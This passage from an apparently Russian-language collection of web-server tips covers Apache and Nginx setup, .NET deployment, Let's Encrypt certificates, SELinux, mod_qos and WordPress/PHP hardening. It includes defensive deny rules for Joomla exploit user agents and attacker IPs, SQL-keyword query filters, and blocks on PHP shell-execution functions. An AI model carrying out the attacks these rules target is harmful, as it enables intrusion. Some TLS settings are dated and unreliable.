    3. Создаем иконку 16x16 в любом графическом редакторе в формате PNG.
    4. Выкачиваем конвертер ftp://ftp.kernel.org/pub/software/graphics/pngtoico/ и
    преобразуем png в ico:
       pngtoico favicon.png > favicon.ico
    5. Копируем favicon.ico в корень сайта.
    
     
    ----* Как прописать русский charset в английском Apache   [обсудить]
     
    AddDefaultCharset koi8-r
    
     
    ----* Как назначить cgi-скрипт как парсер файлов в прозрачном режиме   [обсудить]
     
    Напрмер, нужно чтобы все html файлы выдавались при  их запросе после прохождения через 
    скрипт-фильтр parser.cgi
    В .htaccess:
    AddType parsed-html .html
    Action parsed-html /cgi-bin/parser.cgi
    
     
    ----* Как изменить expire дату для определенного типа файлов   [обсудить]
     
    В .htaccess пишем:
    ExpiresActive On
    ExpiresByType image/png "access plus 1 month"
    ExpiresByType image/gif "access plus 1 month"
    ExpiresDefault "access plus 1 month"
    
     
    ----* Как посмотреть список текущих активных модулей в Apache   [комментарии]
     
    httpd -l
    
     
    ----* Развёртывание приложений .NET/ASP.NET Core в Ubuntu 20.04 с Nginx (доп. ссылка 1)   Автор: Артём Конкин  [комментарии]
     
    Данное руководство носит образовательный характер, и предназначено для тех -
    кто ни разу не запускал  приложения ASP.Net на сервере. Для больших, сложных и
    серьёзных проектов не годится, так как не учтены все нюансы развёртывания и
    настройки безопасности.
    
    Этапы развертывания приложений на сервере Ubuntu 20.04
    
    
  • Сервер и соединение
  • Установка .net Core + ASP.net Core
  • Сборка приложения
  • Nginx и всё что с ним связано
  • Сервис приложения
  • Настройка прав пользователя Сервер и соединение Для того что бы развернуть приложение на .NET Core нам необходима виртуальная машина на Ubuntu - на ней мы и запустим наше первое приложение. Подключиться можно через SSH Установка .net Core + ASP.net Core Для начала нам нужно подключить репозиторий для того чтобы в последующем установить все нужные нам пакеты. wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb Установка пакетов sudo apt-get update sudo apt-get install -y apt-transport-https sudo apt-get update sudo apt-get install -y dotnet-sdk-3.1 sudo apt-get install -y aspnetcore-runtime-3.1 Сборка приложения На этом этапе нам нужно скомпилировать приложение и получить исполняемые файлы которые мы будем запускать в виртуальной машине. Создадим проект dotnet new webapp -o ProjectName cd ProjectName Сборка приложения dotnet publish --configuration Release В итоге мы получим в каталоге проекта по пути /bin/Release/ исполняемые файлы приложения. Nginx и всё что с ним связано Установка пакетов sudo apt install nginx sudo service nginx start В браузере должна открыться стартовая страница Nginx по умолчанию. Целевая страница доступна по адресу http://server_IP_address Настройка конфигурации Для того чтобы настроить сервер так как нам нужно необходимо отредактировать конфиг Nginx в директории /etc/nginx/sites-available/ sudo vi /etc/nginx/sites-available/default server { listen 80; server_name example.com *.example.com; location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } Сервис приложения Создайте файл определения службы. sudo vi /etc/systemd/system/dotnetapp.service Добавляем конфигурацию сервиса [Unit] Description=Example .NET Web API App running on Ubuntu [Service] WorkingDirectory=/var/www/helloapp ExecStart=/usr/bin/dotnet /var/www/helloapp/helloapp.dll Restart=always # Restart service after 10 seconds if the dotnet service crashes: RestartSec=10 KillSignal=SIGINT SyslogIdentifier=dotnet-example User=www-data Environment=ASPNETCORE_ENVIRONMENT=Production Environment=DOTNET_PRINT_TELEMETRY_MESSAGE=false [Install] WantedBy=multi-user.target Запуск сервиса sudo systemctl enable dotnetapp.service Проверка статуса сервиса sudo systemctl status dotnetapp.service Перезапуск сервиса sudo systemctl restart dotnetapp.service Daemon reload sudo systemctl daemon-reload Настройка прав пользователя Группа www-data Пользователь (www-data) должен существовать и иметь права владельца в отношении файлов приложения. www-data создаётся автоматически при установке Nginx. Для того чтобы Nginx мог работать с каталогом нашего приложения нужно каталогу присвоить права пользователя www-data. sudo chown username:www-data /var/www/ -R sudo systemctl restart dotnetapp.service sudo chown -R www-data:username /var/www/* sudo systemctl status dotnetapp.service
  •  
    ----* Решение проблемы с постингом русских сообщений в phpBB+PostgreSQL   Автор: frozer  [обсудить]
     
    Проблема: при постинге в форму сообщений на русском языки иногда вываливается ошибка скрипта 
       insludes/function_search.php
    
    Решение: 
    запустить psql
       >ALTER TABLE phpbb_search_wordlist DROP CONSTRAINT   phpbb_search_wordlist_pkey;
       >CREATE INDEX phpbb_search_wordlist_pkey ON phpbb_search_wordlist (word_text);
    
     

       Ограничение доступа и ресурсов, безопасность

    ----* Диапазоны IP-адресов облачных сервисов Amazon, Google, OVH, DigitalOcean и Microsoft (доп. ссылка 1)   [комментарии]
     
    Иногда на сервере возникает необходимость динамического определения подключения
    пользователя, транзитно использующего окружение в одном из арендуемых облачных сервисов.
    
    Проект cloud-ranges поддерживает актуальную БД диапазонов адресов различных
    облачных операторов, которую можно загрузить со страницы
    
       https://github.com/pry0cc/cloud-ranges/tree/master/companies
    
    
    Также могут оказаться полезными база IP в привязке к странам: 
    
       ftp://ftp.ripe.net/ripe/dbase/split/ripe.db.inetnum.gz
    
    и базы адресов выходных узлов Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=IP_текущего хоста
       https://www.dan.me.uk/torlist/ 
       https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv 
       https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv
    
    
    Преобразовать указанные списки для mod_geo или mod_geo2 можно простым скриптом, например,
    
    
    curl
    https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv
     | sort| uniq | grep
    -v "^#" |grep -E '^[0-9]+\.[0-9]+\.[0-9]+' | sed 's/$/ TT/' > /etc/httpd/conf/tor_db.txt
    
    После включения mod_geo2 в Apache
     
       LoadModule geo2_module        /usr/lib64/httpd/modules/mod_geo2.so
       <IfModule geo2_module>
           GEOTable /etc/httpd/conf/tor_db.txt
           GEOActive Off
       </IfModule>
    
    в скриптах можно узнавать факт подключения через облачных провайдеров или Tor
    анализируя переменную окружения "HTTP_IP_GEO" (в примере выше для адресов Tor
    будет выставляться значение "TT").
    
     
    ----* Наиболее простой способ получения и обновления сертификатов Let's Encrypt   [комментарии]
     
    В рамках проекта dehydrated (https://github.com/lukas2511/dehydrated)
    развивается shell-скрипт для автоматизации действий по получению
    SSL-сертификатов в некоммерческом удостоверяющем центре Let's Encrypt
    (https://letsencrypt.org/). Регистрация в сервисе, получение сертификата и его
    последующее обновление предельно упрощено и требует только указания домена в
    файле конфигурации, создания проверочного пути на сайте и запуска скрипта.
    
    Пользователи RHEL/CentOS могут установить dehydrated из репозитория
    EPEL:
    
       yum install dehydrated
    
    Скрипт также присутствует в портах FreeBSD, в репозитории Fedora, Ubuntu и
    многих других дистрибутивов Linux.
    
    После установки прописываем домены, для которых необходим сертификат, в файле
    /etc/dehydrated/domains.txt (можно определить несколько строк с разными
    доменами для разных сертификатов):
    
       example.com www.example.com
       example2.com www.example2.com test.example2.com
    
    В иерархии каталогов, в которых хранится контент example.com, создаём каталог
    .well-known и подкаталог acme-challenge, в которых будет создан временный  файл
    для проверки наличия контроля за сайтом:
    
       mkdir /var/www/htdocs/.well-known
       mkdir /var/www/htdocs/.well-known/acme-challenge
    
    Указываем в файле конфигурации /etc/dehydrated/config каталоги и email для
    связи, остальные параметры можно оставить по умолчанию:
    
       WELLKNOWN="/var/www/htdocs/.well-known/acme-challenge"
       CONTACT_EMAIL="example@examplemail.com"
    
    Далее запускаем скрипт dehydrated с опцией "-с", которой достаточно для
    большинства ситуаций. После первого запуска будет совершена регистрация в Let's
    Encrypt, после чего будет инициирован процесс проверки путем генерации токена в
    директории .well-known/acme-challenge с его последующим внешним запросом.
    
       dehydrated -c
    
       # INFO: Using main config file /etc/dehydrated/config
       # INFO: Using additional config file /etc/dehydrated/conf.d/local.sh
       Processing example.com with alternative names: www.example.com
        + Signing domains...
        + Creating new directory /etc/dehydrated/certs/example.com ...
        + Generating private key...
        + Generating signing request...
        + Requesting challenge for example.com...
    
    Если проверка прошла удачно, готовые сертификаты будут сохранены в каталог
    /etc/dehydrated/certs/example.com, который можно указать в настройках сервера.
    Например, в nginx:
    
    
            ssl on;
            ssl_protocols        TLSv1 TLSv1.1 TLSv1.2;
            ssl_certificate      /etc/dehydrated/certs/example.com/fullchain.pem;
            ssl_certificate_key  /etc/dehydrated/certs/example.com/privkey.pem;
            ssl_session_cache    shared:SSL:10m;
            ssl_session_timeout  10m;
            ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
            ssl_prefer_server_ciphers on;
            ssl_dhparam /etc/nginx/ssl/dhparams.pem; # генерируется через "openssl dhparam -dsaparam -out /etc/nginx/ssl/dhparams.pem 2048"
    
    В случае повторного запуска "dehydrated -c" будет выполнена проверка срока
    действия сертификата и если до окончания его действия остаётся менее 30 дней
    будет запрошено обновление. Для автоматизации поддержания сертификатов можно
    добавить "dehydrated -c" в cron.
    
    
       dehydrated -c
    
       # INFO: Using main config file /etc/dehydrated/config
       # INFO: Using additional config file /etc/dehydrated/conf.d/local.sh
       Processing example.com with alternative names: www.example.com
        + Checking domain name(s) of existing cert... unchanged.
        + Checking expire date of existing cert...
        + Valid till Sep 11 03:53:00 2017 GMT (Longer than 30 days). Skipping renew!
    
    После обновления сертификата не забудьте перезапустить HTTP-сервер:
    
       systemctl restart nginx
    
    В случае необходимости получения сертификатов для нескольких доменов, следует
    для всех сайтов позаботиться о пробросе проверочных запросов в каталог,
    заданный в переменной WELLKNOWN (проверка осуществляется через запрос
    http://example.com/.well-known/acme-challenge/m4g1C-t0k3n). Например, можно
    добавить в конфигурацию хоста в nginx:
    
    
       location /.well-known/acme-challenge {
          alias /var/www/htdocs/.well-known/acme-challenge;
       }
    
     
    ----* Блокировка атаки на Joomla силами nginx и apache (доп. ссылка 1)   [комментарии]
     
    Продолжается массовая атака на сайты под управлением Joomla. К сожалению на
    базе данной CMS в сети много сайтов, администраторы которых не спешат
    устанавливать обновления. На системах хостинга можно попытаться блокировать
    типовую автоматизированную атаку централизованно, на стороне сервера.
    
    Для блокировки можно заблокировать обращение c User Agent
    "JDatabaseDriverMysql" и "O:", а также запретить обращение c IP-адресов, с
    которых зафиксировано проведение атаки.
    
    Пример для nginx:
    
       http {
           map $http_user_agent $blocked_ua {
               ~(?i)JDatabaseDriverMysql 1;
               ~(?i)O: 1;
               default 0;
           }
           map $remote_addr $blocked_ip {
              74.3.170.33 1;
              146.0.72.83 1;
              194.28.174.106 1;
              default 0;
           }
           server {
               listen 80;
               if ($blocked_ua) { return 403; }
               if ($blocked_ip) { return 403; }
               # ...
           }
       }
    
    
    Пример для apache httpd:
    
       RewriteCond %{REMOTE_ADDR} =74.3.170.33 [OR]
       RewriteCond %{REMOTE_ADDR} =146.0.72.83 [OR]
       RewriteCond %{REMOTE_ADDR} =194.28.174.106
       RewriteRule .* / [F]
    
       RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysql [OR]
       RewriteCond %{HTTP_USER_AGENT} O\:
       RewriteRule .* / [F]
    
     
    ----* Получение сертификата через общедоступный удостоверяющий центр LetsEncrypt (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Удостоверяющий центр LetsEncrypt контролируется сообществом и позволяет
    любому желающему бесплатно получить TLS-сертификат для организации доступа
    через защищённое соединение к своему сайту. Для прохождения верификации перед
    получением сертификата достаточно продемонстрировать контроль над доменом через
    размещения файла с ключом на web-сервере или запуска специального
    автоматизированного крипта.
    
    Инструментарий для верификации домена и управления сертификатами можно загрузить с сайта проекта:
    
       git clone https://github.com/letsencrypt/letsencrypt
       cd letsencrypt
       ./letsencrypt-auto --help
    
    или установить готовые пакеты для Fedora 23:
    
       dnf install letsencrypt
    
    
    Основные методы верификации:
    
    1. Ручной метод: генерация кода подтверждения и его копирование на  web-сервер. 
    Генерируем проверочный код:
    
        letsencrypt --text --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --renew-by-default --manual certonly
    
    Записываем полученный код на web-сервер в файл
    .well-known/acme-challenge/anotherrandomthinghere, относительно корня сайта:
    
       cd /var/www/html
       mkdir -p .well-known/acme-challenge
       echo "224234fSDFSF23SFADASD" > .well-known/acme-challenge/anotherrandomthinghere
    
    
    
    2. Самодостаточная проверка: на время проверки letsencrypt берёт на себя
    функции  http-сервера, связанного с верифицируемым доменом (хост, на который
    указывает "A" запись в DNS), и напрямую отвечает на запросы сервиса. На
    сервере, где будет обслуживаться домен запускаем (http-сервер сайта должен быть
    отключен, метод подходит для начальной конфигурации ещё не введённых в строй сайтов):
    
       letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --standalone --standalone-supported-challenges http-01 certonly
    
    
    3. Проверка через автоматизированное создание файлов к корне web-сервера. На
    сервере, где работает сайт проверяемого домена, запускаем (/var/www/html - путь
    к корню сайта, относительно которого будут временно размещены коды для верификации):
    
      letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --webroot --webroot-path /var/www/html certonly
    
    При выполнении автоматизированной проверки от пользователя root готовые
    сертификаты будут скопированы в директорию /etc/letsencrypt. Для их подключения
    к mod_ssl можно выполнить:
    
    
       ln -s /etc/letsencrypt/live/www.example.com/cert.pem /etc/pki/tls/certs/www.example.com.crt
       ln -s /etc/letsencrypt/live/www.example.com/chain.pem /etc/pki/tls/certs/www.example.com.chain.crt
       ln -s /etc/letsencrypt/live/www.example.com/privkey.pem /etc/pki/tls/private/www.example.com.key
       cp /etc/httpd/conf.d/ssl.conf{,.backup}
       sed -i 's@\(SSLCertificateFile\) .*@\1 /etc/pki/tls/certs/www.example.com.crt@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@\(SSLCertificateKeyFile\) .*@\1 /etc/pki/tls/private/www.example.com.key@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@#\(SSLCertificateChainFile\) .*@\1 /etc/pki/tls/certs/www.example.com.chain.crt@' /etc/httpd/conf.d/ssl.conf
    
    
    После чего нужно сделать директории с сертификатами доступными в SELinux-контексте cert_t:
    
       semanage fcontext -a -t cert_t '/etc/letsencrypt/(archive|live)(/.*)?'
       restorecon -Rv /etc/letsencrypt
    
    По умолчанию время жизни сертификата LetsEncrypt составляет 90 дней, что
    требует настройки автоматизации обновления сертификата. Например, раз в 60 дней
    через cron можно вызывать скрипт, который будет продлевать сертификат на
    очередные 90 дней:
    
       /usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
    
    Пример unit-файла /etc/systemd/system/www-example-com-renewal.service для обновления сертификатов:
    
    
       [Unit]
       Description=Automatically renew the www.example.com certificate
    
       [Service]
       Type=oneshot
       ExecStart=/usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
       ExecStart=/usr/sbin/systemctl reload httpd
    
    
    Файл автозапуска /etc/systemd/system/www-example-com-renewal.timer:
    
       [Unit]
       Description=Trigger an automatic renewal every month
    
       [Timer] 
       OnCalendar=monthly
       Persistent=true
    
       [Install]
       WantedBy=multi-user.target
    
    В случае необходимости отзыва сертификата, например, после утечки закрытых
    ключей, можно выполнить команду:
    
       letsencrypt revoke --cert-path /etc/letsencrypt/archive/www.example.com/cert1.pem
    
    
    Для упрощения работы с сервисом можно использовать скрипт-обвязку https://github.com/lukas2511/letsencrypt.sh
    
     
    ----* Как сменить корень документов в Apache/nginx в CentOS 7 и RHEL 7 с SELinux   [комментарии]
     
    По умолчанию для Apache, nginx  и других http-серверов при использовании
    SELinux в CentOS 7 и RHEL 7 область видимости ограничена директорией /var/www.
    Для смены корня документов на /home/site следует включить новые директории в
    правила httpd_sys_content_t и httpd_sys_script_exec_t.
    
    
    Включаем временно:
       chcon -R -t httpd_sys_content_t /home/site
       chcon -R -t httpd_sys_script_exec_t /home/site/cgi-bin
    
    Включаем постоянно:
       semanage fcontext -a -t httpd_sys_content_t "/home/site(/.*)?"
       semanage fcontext -a -t httpd_sys_script_exec_t "/home/site/cgi-bin(/.*)?"
       restorecon -r -v /home/site
    
    
    Отслеживаем возможные проблемы в /var/log/audit/audit.log и при необходимости
    строим свои правила обхода. В качестве шаблона можно использовать результат
    работы утилиты audit2allow:
    
       audit2allow -M policy_name -i /var/log/audit/audit.log 
       semodule -i policy_name.pp
    
    
    Не забываем открыть доступ к сетевым портам на межсетевом экране:
       firewall-cmd --permanent --add-port=80/tcp
       firewall-cmd --permanent --add-port=443/tcp
    
     
    ----* Использование amon для дополнительной защиты PHP-интерпретатора от выполнения внешних программ (доп. ссылка 1)   [комментарии]
     
    Для экспресс-блокировки выполняемых при работе определенного PHP-скрипта
    внешних программ удобно использовать библиотеку amon.so
    (http://www.lucaercoli.it/amon.html), которая подменяет своим обработчиком
    системный вызов execve() и контролирует его выполнение. Библиотека amon.so
    рассчитана на тесное взаимодействие с PHP и учитывает особенности его работы,
    позволяя защититься от простейших атак и блокировать работу бэкдоров, подобных r57shell.
    
    Так как библиотека amon пока отсутствует в стандартных пакетах, загрузим и
    соберем её вручную (пример для Debian/Ubuntu).
    
    Устанавливаем необходимые для сборки компоненты:
    
       apt-get install build-essential
    
    Загружаем amon:
    
       wget http://www.lucaercoli.it/amon/amon.c
    
    Открываем файл amon.c и находим в верхней части строку "char * cmds []", в
    которой определен список допустимых команд. При необходимости правим список на
    своё усмотрение.
    
    По умолчанию список разрешенных программ выглядит следующим образом:
    
       "/usr/sbin/sendmail"
       "/usr/lib/sendmail"
       "/etc/alternatives/lib.sendmail"
       "/usr/lib/sm.bin/sendmail"
       "/usr/bin/mail"
       "/bin/mv"
       "/bin/rm"
       "/usr/bin/unlink"
       "/bin/rmdir"
       "/bin/cp"
       "/bin/date"
       "/bin/bzip2"
       "/bin/gunzip"
       "/bin/gzip"
       "/usr/bin/unzip"
       "/bin/tar"
       "/usr/bin/host"
       "/usr/bin/file"
       "/usr/bin/uptime"
       "/bin/grep"
       "/usr/bin/diff3"
       "/bin/pwd"
    
    Компилируем amon
     
       gcc -fPIC -shared -ldl -o amon.so amon.c
    
    Копируем amon.so в директорию /lib:
    
       mv ./amon.so /lib/
    
    В простейшем случае для защиты php-скрипта, запущенного в командной строке или
    в режиме CGI можно использовать следующий скрипт (php5-cgi-wrapper):
    
       #!/bin/sh
       export LD_PRELOAD=amon.so
       exec /path/del/vero/php5-cgi "$@"
    
    При использовании механизма suEXEC, этот скрипт можно прописать вместо вызова
    php, например, указать в конфигурации apache:
    
       ScriptAlias /php_amon/ "/usr/local/bin/"
       AddHandler php-script .php
       Action php-script /php_amon/php5-cgi-wrapper
    
    В случае необходимости работы php в виде модуля (libapache2-mod-php5),
    работающего внутри Apache, добавляем в /etc/apache2/envvars:
    
       export LD_PRELOAD=amon.so
    
    и перезапускаем apache:
    
       /etc/init.d/apache2 restart
    
    Для проверки загрузилась ли библиотека создадим и запустим простейший скрипт, в
    выводе которого должно быть упоминание amon.so:
    
       <?php
       phpinfo();
       ?>
    
    Для php-скриптов, работающих в режиме FastCGI через mod_fcgid, достаточно
    написать промежуточный shell-скрипт, который использовать для запуска основного php-скрипта:
    
       #!/bin/sh
       export PHPRC=/etc/php5/cgi
       export LD_PRELOAD = amon.so
       exec /usr/lib/cgi-bin/php
    
    
    В ситуации, когда php-скрипт попытается запустить, допустим, /bin/sh, операция
    будет блокирована, а в error.log будет оставлена запись:
    
       sh: command_name: command not found
    
     
    ----* Использование mod_qos для минимизации паразитной нагрузки на сайт (доп. ссылка 1)   [комментарии]
     
    Apache-модуль mod_qos (http://mod-qos.sourceforge.net/) позволяет организовать
    разделение запросов по приоритетам и обеспечить выполнение только приоритетных
    запросов при таких нештатных ситуациях, как перегрузка сервера. В качестве
    реакции при нехватке серверных ресурсов mod_qos может блокировать
    неприоритетные запросы, динамически изменять значения таймаутов, добавлять
    искусственную задержку перед выполнением запроса и принудительно завершать TCP-соединения.
    
    Примеры ситуация, когда можно использовать mod_qos:
    
    * Управление интенсивностью выполнения длительных по времени и ресурсоемких
    запросов, предотвращение одновременного выполнения большого числа таких запросов;
    
    * Защита от исчерпания пропускной способности канала связи из-за слишком
    большого числа одновременных обращений к определенным данным (например, когда
    пользователь сделал доступным для загрузки файл большого размера и широко его разрекламировал)
    
    * Защита от простейших DDoS-атак.
    
    Некоторые примеры ограничений, реализуемых через mod_qos ограничений:
    
    * Ограничение максимального числа одновременных соединений для заданной части
    сайта, URL или виртуального хоста.
    
    * Ограничение пропускной способности, числа запросов в секунду или объема
    трафика в секунду для любой части сайта;
    
    * Ограничение числа выполнения определенных типов запросов в секунду;
    
    * Не применение ограничений для определенных адресов или пользователей;
    
    * Фильтрация по совпадению маски в HTTP-заголовке или теле запроса;
    
    * Ограничение размера передаваемых в рамках запроса данных;
    
    * Ограничение на уровне параметров TCP-соединений, например, ограничение
    максимального числа запросов с одного IP, динамическое изменение keep-alive и т.п.
    
    * Обеспечение доступа с заданных IP в случае исчерпания свободных сокетов.
    
    Пример установки и настройки типовой конфигурации в Debian/GNU Linux
    
    На сайте http://mod-qos.sourceforge.net/ приведен большой набор практических
    примеров конфигурации mod_qos. Рассмотрим типовой вариант.
    
    Так как mod_qos нет в стандартных репозиториях, установим данный модуль из исходных текстов.
    
    Устанавливаем пакеты, необходимые для сборки модулей Apache:
    
       apt-get install apache2-threaded-dev gcc
    
    Загружаем архив с исходными текстами mod_qos с сайта ttp://sourceforge.net/projects/mod-qos/
    
       wget http://downloads.sourceforge.net/project/mod-qos/9.9/mod_qos-9.9.tar.gz?use_mirror=voxel
       tar xvfz mod_qos-9.9.tar.gz
    
    Собираем и устанавливаем:
    
       cd mod_qos-9.9/apache2/
       apxs2 -i -c mod_qos.c
    
    После этого модуль будет установлен как /usr/lib/apache2/modules/mod_qos.so
    
    Активируем модуль в Apache. В директории /etc/apache2/mods-available создаем
    два файла qos.load и qos.conf
    
    В qos.load добавляем строку для загрузки модуля:
    
       LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so
    
    В qos.conf определяем конфигурацию модуля (подобные блоки конфигурации можно
    привязывать к отдельным блокам Location и VirtualHost):
    
       ## Настройка QoS
       <IfModule mod_qos.c>
           # Размер буфера обрабатываемых IP-адресов клиентов. 
           # По умолчанию 50 тыс. На каждый IP тратится 63 байта
           QS_ClientEntries 100000
    
           # Максимальное число одновременных соединений с одного IP
           QS_SrvMaxConnPerIP 50
    
           # Общее максимальное число одновременных обращений к серверу 
           MaxClients              256 
      
           # Понижаем лимит для отдельных URL
           QS_LocRequestLimit      /aaa                100
           QS_LocRequestLimit      /bbb                10
           QS_LocRequestLimit      /ccc                5
           QS_LocRequestLimitMatch "^(/dd1/|/dd2/).*$" 100
    
           # Недопускаем более 50 запросов в секунду для заданного URL
           QS_LocRequestPerSecLimit /download/file.iso 50
    
           # Не распространять правила блокировки на запросы, пришедшие с заголовком mod-qos-login
           QS_VipIPHeaderName      mod-qos-login
    
    
           # Отключаем keep-alive когда достигнуто значение в 70% от максимального лимита соединений
           QS_SrvMaxConnClose      180
    
           # Минимальная скорость поступления запросов и генерации ответов, 
           # позволяет защитить сервер от наводнения медленными запросами, которые длительное время висят без передачи данных
           QS_SrvMinDataRate       150 1200
    
           # Ограничение размера заголовков и тела запроса (следует изменить в соответствии со спецификой сайта)
           # LimitRequestFields      30
           # QS_LimitRequestBody     102400
    
           # Отключаем лимит для заданных подсетей
           QS_SrvMaxConnExcludeIP                    172.18.3.32
           QS_SrvMaxConnExcludeIP                    192.168.10.
    
           # События, связанные с блокировками сохраняем в отдельном логе
           CustomLog     logs/qsaudit_log  "%{qos-path}n%{qos-query}n"
    
           # Ограничиваем размер тела запроса в зависимости от mime-типа (для работы требуется модуль mod_parp):
    
           SetEnvIfNoCase Content-Type application/x-www-form-urlencoded  QS_LimitRequestBody=131072
           SetEnvIfNoCase Content-Type multipart/form-data               QS_LimitRequestBody=131072
           SetEnvIfNoCase Content-Type multipart/mixed                   QS_LimitRequestBody=131072
    
           # Для заданного Location блокируем запросы по масками, для защиты от подстановки SQL запросов
           <Location /app>
              QS_DenyQueryBody              on
              QS_DenyQuery       +s01       deny "(EXEC|SELECT|INSERT|UPDATE|DELETE)"
           </Location>
    
           # Пример установки разных лимитов в зависимости от типа браузера, для ботов ставим более жесткие лимиты
           BrowserMatch             "slurp"        QS_Cond=spider
           BrowserMatch             "googlebot"    QS_Cond=spider
    
           QS_LocRequestLimitMatch       "^(/app/b/|/app/c/).*$"  300
           QS_CondLocRequestLimitMatch   "^(/app/b/|/app/c/).*$"  10   spider
    
    </IfModule>
    
    Активируем модуль и перезапускаем apache:
    
       a2enmod qos
       /etc/init.d/apache2 restart
    
    При просмотре статистики через открытие http://ваш_сайт/server-status можно
    посмотреть дополнительную информацию о работе и настройках mod_qos.
      
    
     
    ----* Увеличение безопасности WordPress на типовом хостинге (доп. ссылка 1)   Автор: Pentarh Udi  [комментарии]
     
    Небольшой дайджест по обеспечению безопасности WordPress и других PHP OpenSource приложений.
    Рассмотрено, что можно сделать на среднестатистическом хостинге.
    
    В общем, safe_mode включать нельзя. Это урежет все до безобразия. Вместо этого мы:
    
       1. Включим open_basedir
       2. Подтюним некоторые настройки php
       3. Выключим шелл вызовы
       4. Выставим нужные права на директории
       5. Для особых извращенцев, включим mod_security
    
    Так же не стоит брезговать базовыми правилами безопасности WordPress (http://www.awmpage.com/2008/10/bezopasnost-wordpress/).
    
    Включаем open_basedir
    ---------------------
    
    Тут все просто. Три настройки в виртуалхосте:
    
       php_admin_value open_basedir "/home/blogs/blog1.foobar.com"
       php_admin_value upload_tmp_dir "/home/blogs/blog1.foobar.com/wp-tmp"
       php_admin_value session.save_path "/home/blogs/blog1.foobar.com/wp-tmp"
    
    Где "/home/blogs/blog1.foobar.com" - корень домена блога. Там необходимо создать директорию 
    "wp-tmp", дать ей права 777 и желательно в эту директорию в том же виртуалхосте запретить доступ:
    
       <Directory /home/blogs/blog1.foobar.com/wp-tmp>
          Order Deny,Allow
          Deny from All
       </Directory>
    
    Мало-ли, может кто то туда сможет чего то записать. И чтобы это что то не было доступно из веба. 
    Так же как и ваши сессии. 
    
    Некоторые дополнительные ограничения PHP5
    -----------------------------------------
    
    Эти настройки внесут дополнительный плюс к безопасности
    
       php_admin_flag track_vars on
       php_admin_flag allow_url_fopen  off
       php_admin_flag allow_url_include off
       php_admin_value memory_limit 30M
       php_admin_flag enable_dl off
    
    Думаю, это не все, что можно сделать с настройками - пожелания приветствуются.
    
    Выключаем шелл вызовы
    ---------------------
    
    open_basedir не распространяется на шелл вызовы php: system,exec,popen,passthru. 
    С другой стороны, зачем вордпрессу эти вызовы? Ну вот и отключим их с помощью disable_functions.
    
       disable_functions="exec,system,passthru,popen"
    
    Далее возникает желание добавить в конфигурацию virtual host такие строки:
    
       php_admin_value "disable_functions" "exec,system,passthru,popen"
    
    Но это не сработает, т.к. disable_functions работает только когда включен в глобальном php.ini.
    
    Конечно, в phpinfo() вы увидите правильное значение disable_functions, 
    однако "отключенные" функции будут продолжать действовать. 
    Разработчики объяснили это тем, что отключать функции на уровне конфигурации 
    апача очень накладно, гораздо проще выключить их вообще из php.ini
    
    Но с другой стороны, шелл вызовы достаточно часто используются в CLI скриптах, 
    в то время как в веб скриптах в большинстве случаев их можно отключить. 
    Значит нужно разделить конфиги CLI и Web. В первом конфиге оставить шелл вызовы, 
    а во втором, более подверженном хаку, их отключить.
    
    Предположим, что дефолтный конфиг php.ini лежит в /usr/local/lib (стандартное место на FreeBSD). 
    Скопируем его в /usr/local/etc/apache2. И на новом месте пропишем нужные disable_functions. 
    Далее, в httpd.conf пишем:
    
       PHPIniDir /usr/local/etc/apache2/conf
    
    И рестартуем апач. Все, теперь CLI и Web версии PHP имеют независимые конфиги и
    в последнем отключены шелл вызовы.
    
    
    Выставляем нужные права на директории
    -------------------------------------
    
    Даже если злоумышленник каким то образом проник внутрь через дырку вордпресса, 
    он начнет сканировать директории в поисках куда бы запихнуть iframe.
    Что же, давайте сделаем его слепым. Предполагается, что директории будут
    сканироваться из под юзера апача.
    
    Предполагается, что директории блогов находятся в /home/blogs/{blog}.domain.com
    
    Значит, на директории /home,/home/blogs,/home/blogs/{blog}.domain.com ставим права 711.
    
    На директорию конфигов апача и ниже - так же ставим 711. Все файлы внутри будут
